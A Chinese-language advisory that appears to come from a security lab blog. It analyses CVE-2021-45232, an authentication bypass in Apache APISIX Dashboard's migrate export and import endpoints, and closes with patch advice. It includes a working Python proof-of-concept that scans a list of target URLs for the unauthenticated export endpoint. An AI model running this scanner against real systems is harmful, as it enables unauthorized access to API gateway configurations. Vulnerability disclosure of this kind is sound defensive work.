目錄
Part1 漏洞描述
Part2 風險等級
Part3 漏洞影響
Part4 漏洞分析
4.1 漏洞源碼
4.2 漏洞驗證
4.3 POC
Part5 修複建議
Part1 漏洞描述
Apache APISIX 是一個動态、實時、高性能的 API 網關,Apache APISIX Dashboard 使使用者可通過前端界面操作 Apache APISIX。
在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了兩個架構
gin
和
droplet
,并在
gin
架構的基礎上引入了
droplet
架構。所有的API和鑒權中間件都是基于droplet架構開發的,但是有些API直接使用了 架構
gin
的接口進而繞過身份驗證。漏洞編号為CVE-2021-45232.
Part2 風險等級
高風險
Part3 漏洞影響
- Apache APISIX Dashboard < 2.10.1
Part4 漏洞分析
4.1 漏洞源碼
本文以2.8版本為例
- 下載下傳連結:
https://github.com/apache/apisix-dashboard/tree/release/2.8
首先在
apisix-dashboard-release-2.8/api/internal/filter/authentication.go
中定義了使用者通過URL通路以
/apisix
開頭的接口時,使用HTTP Header中的
Authorization
進行權限認證。還定義了兩個例外
/apisix/admin/tool/version
和
/apisix/admin/user/login
不需要進行權限認證認證。
然後在
apisix-dashboard-release-2.8/api/internal/route.go
中注冊了一些
handler
在正常情況下利用
droplet
對URL進行鑒權處理,與
authentication.go
中的
handle
對應,比如
ssl
:
在
apisix-dashboard-release-2.8/api/internal/handler/migrate/migrate.go
中發現有兩個接口
/apisix/admin/migrate/export
和
/apisix/admin/migrate/import
沒有經過
droplet
進行處理,存在認證繞過。
4.2 漏洞驗證
4.3 POC
import requests
import sys
filename = sys.argv[1]
print(filename)
target = open(filename, 'r')
f = open('result.txt', 'w')
target_list = target.readlines()
for url in target_list:
url = url.strip()
payload = url + '/apisix/admin/migrate/export'
try:
rsp = requests.get(url=payload, verify=False, timeout=2)
except:
print('%s驗證失敗!'%url)
continue
else:
rsp_s = rsp.text
if "Counsumers" in rsp_s:
print("%s存在漏洞!" % url)
f.writelines(url + '存在漏洞!\n')
else:
print("%s不存在漏洞!" % url)
f.close()
target.close()
Part5 修複建議
官方已釋出漏洞更新檔及修複版本,請評估業務是否受影響後,酌情更新至安全版本,并同時注意修改預設賬戶的賬号密碼;或可使用安全組等措施。
“D&X 安全實驗室”
專注滲透測試技術
全球最新網絡攻擊技術